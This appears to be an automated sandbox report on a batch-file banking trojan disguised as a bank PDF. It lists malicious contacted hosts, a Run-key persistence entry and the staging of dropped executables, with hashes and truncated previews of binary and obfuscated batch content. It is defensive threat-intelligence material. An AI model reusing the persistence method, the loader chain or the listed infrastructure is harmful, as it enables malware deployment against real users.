https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEP	kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr	false		high
https://login.microsoftonline.com/%s/oauth2/authorize	kn.exe	false		high
https://sectigo.com/CPS0	AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/%s/oauth2/token	kn.exe	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpl:H	SndVol.exe, 00000014.00000002.3879565990.000000001C158000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1535801300.000000001C158000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ferreiragascuritiba.com.br/v/233_Faogvkghvqnath	AnyDesk.PIF, 0000000A.00000002.1493586816.000000000080E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ferreiragascuritiba.com.br:80/v/233_FaogvkghvqnP	AnyDesk.PIF, 0000000A.00000002.1493586816.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ferreiragascuritiba.com.br/	AnyDesk.PIF, 0000000A.00000002.1493586816.0000000000865000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://enterpriseregistration.windows.net/EnrollmentServer/key/	kn.exe	false		high
http://geoplugin.net/json.gpSystem32	SndVol.exe, 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/%s/oauth2/authorizeJoinStatusStorage::SetDefaultDiscoveryMetadatah	kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr	false		high
http://geoplugin.net/	SndVol.exe, 00000014.00000003.1535801300.000000001C176000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1537139558.000000001C187000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gp/C	AnyDesk.PIF, 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, SndVol.exe, 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, SndVol.exe, 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, SndVol.exe, 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpfH5	SndVol.exe, 00000014.00000002.3879565990.000000001C158000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1535801300.000000001C158000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gp.(K	SndVol.exe, 00000014.00000002.3879565990.000000001C158000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1535801300.000000001C158000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ferreiragascuritiba.com.b	AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020B1D000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc	kn.exe	false		high
http://www.pmail.com	AnyDesk.PIF, AnyDesk.PIF, 0000000A.00000002.1497237334.0000000002B93000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427109635.0000000002B97000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427511863.000000007F920000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1498326441.0000000002D5E000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1523550345.000000007FAAF000.00000004.00001000.00020000.00000000.sdmp, Faogvkgh.PIF, 00000016.00000002.1647310662.0000000002DA2000.00000004.00001000.00020000.00000000.sdmp, Faogvkgh.PIF, 00000018.00000002.1717002790.0000000002E42000.00000004.00001000.00020000.00000000.sdmp	false		high
https://%ws/%ws_%ws_%ws/service.svc/%ws	kn.exe	false		high
https://enterpriseregistration.windows.net/EnrollmentServer/device/	kn.exe	false		high
http://ocsp.sectigo.com0C	AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.221.149.38	iamblessed.duckdns.org	Russian Federation	30968	INFOBOX-ASInfoboxruAutonomousSystemRU	true
216.172.172.178	ferreiragascuritiba.com.br	United States	46606	UNIFIEDLAYER-AS-1US	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559105
Start date and time:	2024-11-20 07:52:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	USD470900_COPY_800BLHSBC882001.PDF.bat
Detection:	MAL
Classification:	mal100.bank.troj.evad.winBAT@41/22@3/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 59 Number of non-executed functions: 208
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: USD470900_COPY_800BLHSBC882001.PDF.bat

Simulations

Behavior and APIs

Time	Type	Description
01:53:10	API Interceptor	2x Sleep call for process: AnyDesk.PIF modified
01:53:30	API Interceptor	2x Sleep call for process: Faogvkgh.PIF modified
01:53:53	API Interceptor	4280827x Sleep call for process: SndVol.exe modified
07:53:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Faogvkgh C:\Users\Public\Faogvkgh.url
07:53:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Faogvkgh C:\Users\Public\Faogvkgh.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
178.237.33.50	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	file.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	YYHh9QU804.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	geoplugin.net/json.gp
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	geoplugin.net/json.gp
	ungziped_file.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	rBankRemittance_pdf.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	download.exe	Get hash	malicious	Remcos, XWorm	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
iamblessed.duckdns.org	zYJYK66EGb.exe	Get hash	malicious	Remcos	Browse	103.186.116.195
geoplugin.net	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	file.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	YYHh9QU804.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	178.237.33.50
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	178.237.33.50
	ungziped_file.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	rBankRemittance_pdf.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	download.exe	Get hash	malicious	Remcos, XWorm	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNIFIEDLAYER-AS-1US	New Order - RCII900718_Contract Drafting.exe	Get hash	malicious	FormBook	Browse	108.179.253.197
	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	162.144.165.86
	http://www.dvdcollections.co.uk/search/redirect.php?deeplink=https://lp-engenharia.com/zerooo/?email=mwright@burbankca.gov	Get hash	malicious	HTMLPhisher	Browse	50.116.87.139
	http://volunteeraudio.com	Get hash	malicious	Unknown	Browse	162.144.112.69
	https://t.ly/9nPyg	Get hash	malicious	Unknown	Browse	192.254.189.167
	Gherrera_Revised_Record_Adjustment_Antamina_Required_Signature.docx.doc	Get hash	malicious	Unknown	Browse	162.241.225.120
	https://docsend.com/view/8bzvs74qq8k89vmw	Get hash	malicious	Unknown	Browse	162.241.60.177
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	108.167.158.52
	http://palmbeachhydroflight.com/	Get hash	malicious	Unknown	Browse	162.241.224.56
	file.exe	Get hash	malicious	Remcos	Browse	69.49.234.173
INFOBOX-ASInfoboxruAutonomousSystemRU	YDW0S5K7hi.exe	Get hash	malicious	SilverRat	Browse	109.120.138.54
	cDRgXaadjD.exe	Get hash	malicious	SilverRat	Browse	109.120.138.220
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	92.243.83.22
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	77.221.151.63
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	77.221.151.63
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	77.221.151.63
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	77.221.151.63
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	77.221.151.63
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	77.221.151.63
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	77.221.151.63
ATOM86-ASATOM86NL	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	file.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	YYHh9QU804.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	178.237.33.50
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	178.237.33.50
	ungziped_file.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	rBankRemittance_pdf.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	download.exe	Get hash	malicious	Remcos, XWorm	Browse	178.237.33.50

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\alpha.exe	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	#U00c1raj#U00e1nlat k#U00e9r#U00e9s 12#U00b711#U00b72024#U00b7Pdf.cmd	Get hash	malicious	Unknown	Browse
	#U00c1raj#U00e1nlat k#U00e9r#U00e9s 06.11.2024.cmd	Get hash	malicious	DBatLoader, FormBook	Browse
	TZH3Uk8x45.bat	Get hash	malicious	DBatLoader, PureLog Stealer, XWorm	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	FACTURA.cmd	Get hash	malicious	DBatLoader	Browse
	rPO767575.cmd	Get hash	malicious	DBatLoader	Browse
	Contact Form and Delivery Details ,pdf.cmd	Get hash	malicious	DBatLoader, FormBook	Browse
	Duclot Collections.bat	Get hash	malicious	Remcos, DBatLoader	Browse

Created / dropped Files

C:\Users\Public\AnyDesk.jpeg

Process:	C:\Users\Public\kn.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2453506
Entropy (8bit):	3.938076976548238
Encrypted:	false
SSDEEP:	24576:qY0nR4W5uffud/O4YVZnLfT8NI1dMPKLcAuaX3DucoDZxTM404oE4AeBIkFZy1zv:W
MD5:	F4D3D158E042B2F2F6241C94DA2370FB
SHA1:	0228ECE140A699A52E806AD7A977ED2A1198035E
SHA-256:	28CD0F0300EB2AFA9B4AB00193F0D5868CA091E361E4853CC48EC225B1A87E17
SHA-512:	A97FFFA538DF6C53B2E3C7F594BB46FBDFBC213EACF86BDED4D4080FAC0CA4EEA7EC1CCC6DDBE6037F65F8F1138AD296E1112E48A3074F29564AF7E447DDFE9E
Malicious:	false
Preview:	4d5a50000200000004000f00ffff0000b80000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ba10000e1fb409cd21b8014ccd219090546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a243700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004c010900195e422a0000000000000000e0008e810b01021900ca050000ea0c000000000054e705000010000000f005000000400000100000000200000400000000000000040000000000000000501300000400000000000002000000000010000040000000001000001000000000000010000000000000000000000000e00600ba25000000a0070000ae0b000000000000000000000000000000000000300700c86700000000000000000000000000000000000000000000000000000020070018000000000000000000000000000000000000000ce70600e00500000000000000000000000000000000000000000000

C:\Users\Public\Faogvkgh.url

Process:	C:\Users\Public\Libraries\AnyDesk.PIF
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Faogvkgh.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.189522142085639
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMcKmYjSsbxUcy49Svn:HRYFVmTWDyzOcExUcbcn
MD5:	C37272C81C94DBD1EA2F5546FF4FBA8F
SHA1:	1656F74833690F14275BC46513B225FE9639CA21
SHA-256:	9D2280D9A822D4B78DFAFBAF35A25369AE68F85432DB3867B8AD2925A32FC338
SHA-512:	9034F8B6C245334D2B48C83A65DA5E0FA2A9B97FEB96ACEC5FADF2BC2D975ED11F19CAF918A78F802A43E89CD370EEA2A3A6366884C48136E25361C6582DD2FF
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Faogvkgh.PIF"..IconIndex=965449..HotKey=71..

C:\Users\Public\Libraries\AnyDesk.PIF

Process:	C:\Users\Public\kn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1226752
Entropy (8bit):	7.459058108073001
Encrypted:	false
SSDEEP:	24576:KdKnJlmwhG7vohKM4br2Qza6HR2zlPQxL/F99UljJes8lSnQ:KCl7kYOLSes8lSQ
MD5:	DF6F291F617D9DBAE8F32FB11ECD59C1
SHA1:	3D26F65C19079BEA772572E3367B4185AA4C99CA
SHA-256:	43223D630E7D3898D254EAF0C02264261ADA01C3ED93FC119C6550E66F406A5B
SHA-512:	4065E8C1072B89B6D741F8268DE54DDB5521ACAD91FB13491FC1E1ED75467E753764501E201336C67CD7871B0774B835222C53E9F29DDF4CA72DAC0D37F5F163
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................T.............@..........................P...................@...............................%...........................0...g........................... .......................................................text............................... ..`.itext.............................. ..`.data...............................@....bss.....6...........z...................idata...%.......&...z..............@....tls....4................................rdata....... ......................@..@.reloc...g...0...h..................@..B.rsrc...............................@..@.............P......................@..@................................................................................................

C:\Users\Public\Libraries\Faogvkgh

Process:	C:\Users\Public\Libraries\AnyDesk.PIF
File Type:	data
Category:	dropped
Size (bytes):	826131
Entropy (8bit):	7.140714548437426
Encrypted:	false
SSDEEP:	12288:RaXfzec661p3tuPkVCYvGG1zoHZB3lf+r8O0/LX0qRvHxNnrpEGOFz9cWVAfGWYZ:MXCgp3tzcYoblmazk8RIFBe+Z
MD5:	A6B6F0A1C8B5A070E907187DF8E5C944
SHA1:	A44F9EAC625D78D04F0A5FAF78C8F41DFF0C0D1D
SHA-256:	5AFE8919315B326B9BD21F61CDD7AF5DB8222A721BD6020460E94ECF726B6E5A
SHA-512:	E8743932C8B183E5E40512301F3D069919389DD460114D65D30253F9C3A73AD7C656C6003CB63D3CB85A16F44FFE4F6A2FF52E05FB61757C6C1D533A10837449
Malicious:	true
Preview:	...Y#..K.... ..#...%....."........&#...#......Y#..KQ...#...#.....Y#..Ktiwrhlwelryx.:.NK..[..q..2.!....S.z{fKj..xe...c.....=.M8#..,j.-+\.4}....8.ZRelr.1....7..nZK...,T......r......mj..KI.k.....x..k..p..5_........\|.Y=....:......q....C.%...-..u.+...WZ!.6...._"l....,Z.gy.pm....-..LM.RV.........i.........XVxjq.]..tqB...4.r.,h.s....7.$>../.!.;...-.....$V9..T?...?v&.*UAN(.5.).4........NelX...7S.....Y.AV.bR...9.....sw.l..~b.]..t....%j....5V.....j....G..nFY.+.8...2..l...'.5O...T..ui.4v...7...A~..=RLrvsR`....xK..z0.LzBlwe.jU.C.$$].Lb,siyHm.kGg..Qsr.$.OX.Ks...v;$7..z.....zc}.Wt.m....wr.s....G).j{.P[..6..q.T.7...Z..&.ZrRa.]...O.x..<.bN...j.H.TX.'.Ar_.'..QW..F~e6. .5..1.... .F.7...?...1.[Xx..+..6.jq.J.b....$.y^p}.=..h0q..[Xx..q.xas...$?MP..MAK..r.V{.....xYi.wM...E\|:..uB...8v7.. =ZY.'.Au...M.KMk.qjcr...m.v.iu...!.7.jXh.O....8.g....q(.7sf.y.s...Q.esm.m..\|...rhl.A0.jh.. .6...wrv4qp%jo.xeni..fwrh7.jZ..crp.;.#pu....<...smv.f.Q("xrhl.lq..&..iss5;3...6.+bes<^g...tiw.;..?.mU.qS.."..1

C:\Users\Public\Libraries\Faogvkgh.PIF

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1226752
Entropy (8bit):	7.459058108073001
Encrypted:	false
SSDEEP:	24576:KdKnJlmwhG7vohKM4br2Qza6HR2zlPQxL/F99UljJes8lSnQ:KCl7kYOLSes8lSQ
MD5:	DF6F291F617D9DBAE8F32FB11ECD59C1
SHA1:	3D26F65C19079BEA772572E3367B4185AA4C99CA
SHA-256:	43223D630E7D3898D254EAF0C02264261ADA01C3ED93FC119C6550E66F406A5B
SHA-512:	4065E8C1072B89B6D741F8268DE54DDB5521ACAD91FB13491FC1E1ED75467E753764501E201336C67CD7871B0774B835222C53E9F29DDF4CA72DAC0D37F5F163
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................T.............@..........................P...................@...............................%...........................0...g........................... .......................................................text............................... ..`.itext.............................. ..`.data...............................@....bss.....6...........z...................idata...%.......&...z..............@....tls....4................................rdata....... ......................@..@.reloc...g...0...h..................@..B.rsrc...............................@..@.............P......................@..@................................................................................................

C:\Users\Public\Libraries\PNO

Process:	C:\Users\Public\Libraries\AnyDesk.PIF
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:Hyn:S
MD5:	29637D17C846332CE12493A7842386C6
SHA1:	D8C115B7E9D8C11534F51C5E423CED7B4C7B6777
SHA-256:	1016D189FFD2702D5EA71FD4EF0EEA4991FE3616A56F8C784D1BBFA3C9201E14
SHA-512:	C584E1AA1ACF89E68DA0B32EB11BB5E623975CC84651F01967E8849A1A97671F0A72F33269B35C34CDA0B2742698BA3D878DFDD2CC46B378DFD3E6EAD7FEC318
Malicious:	false
Preview:	57..

C:\Users\Public\Libraries\hgkvgoaF.cmd

Process:	C:\Users\Public\Libraries\AnyDesk.PIF
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
Category:	dropped
Size (bytes):	62357
Entropy (8bit):	4.705712327109906
Encrypted:	false
SSDEEP:	768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
MD5:	B87F096CBC25570329E2BB59FEE57580
SHA1:	D281D1BF37B4FB46F90973AFC65EECE3908532B2
SHA-256:	D08CCC9B1E3ACC205FE754BAD8416964E9711815E9CEED5E6AF73D8E9035EC9E
SHA-512:	72901ADDE38F50CF6D74743C0A546C0FEA8B1CD4A18449048A0758A7593A176FC33AAD1EBFD955775EEFC2B30532BCC18E4F2964B3731B668DD87D94405951F7
Malicious:	false
Preview:	@echo off..@echo off..@%.......%e%..%c%...%h%.... ...%o%........% %.%o%.....%f%...%f% ........%..s%.%e%.... %t%r.o......% %....%"%.........%l%.......o.%V%......%W%.....o%a%..........%=%.o....%s%. .o%e%. ....... %t%.% %..%"%.r%..%lVWa%"%......%u%. .%p%.%w%.... %u%.... o...%=%..... %=%... . . %"%.%..%lVWa%"%....%R%.%b%. .... %U%. %p%.%z%...%n% ...%n%...%f%..... . ..%W%.......%i%......%%upwu%C%. .. %l%...%o%........%a%......%"% .... %..%lVWa%"% %r%......%M%....%S%...r... ..%o%....... .%w%.....%X%.....rr%I%..... .

C:\Users\Public\alpha.exe

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	289792
Entropy (8bit):	6.135598950357573
Encrypted:	false
SSDEEP:	6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
SHA1:	F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D
SHA-256:	B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450
SHA-512:	99E784141193275D4364BA1B8762B07CC150CA3CB7E9AA1D4386BA1FA87E073D0500E61572F8D1B071F2FAA2A51BB123E12D9D07054B59A1A2FD768AD9F24397
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd, Detection: malicious, Browse Filename: #U00c1raj#U00e1nlat k#U00e9r#U00e9s 12#U00b711#U00b72024#U00b7Pdf.cmd, Detection: malicious, Browse Filename: #U00c1raj#U00e1nlat k#U00e9r#U00e9s 06.11.2024.cmd, Detection: malicious, Browse Filename: TZH3Uk8x45.bat, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: FACTURA.cmd, Detection: malicious, Browse Filename: rPO767575.cmd, Detection: malicious, Browse Filename: Contact Form and Delivery Details ,pdf.cmd, Detection: malicious, Browse Filename: Duclot Collections.bat, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OH...&...&...&..V...&..E%...&..E"...&...'../&..E'...&..E#...&..E+...&..E....&..E$...&.Rich..&.................PE..d...S.............".................P..........@.............................p............`.................................................(...................4#...........`......`Z..T............................,...............4...... ........................text............................... ..`.rdata..<.... ......................@..@.data...P...........................@....pdata..4#.......$..................@..@.didat..............................@....rsrc...............................@..@.reloc.......`.......h..............@..B........................................................................................................................................................................................................................

C:\Users\Public\alpha.pif

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	236544
Entropy (8bit):	6.4416694948877025
Encrypted:	false
SSDEEP:	6144:i4VU52dn+OAdUV0RzCcXkThYrK9qqUtmtime:i4K2B+Ob2h0NXIn
MD5:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
SHA1:	4048488DE6BA4BFEF9EDF103755519F1F762668F
SHA-256:	4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22
SHA-512:	80E127EF81752CD50F9EA2D662DC4D3BF8DB8D29680E75FA5FC406CA22CAFA5C4D89EF2EAC65B486413D3CDD57A2C12A1CB75F65D1E312A717D262265736D1C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
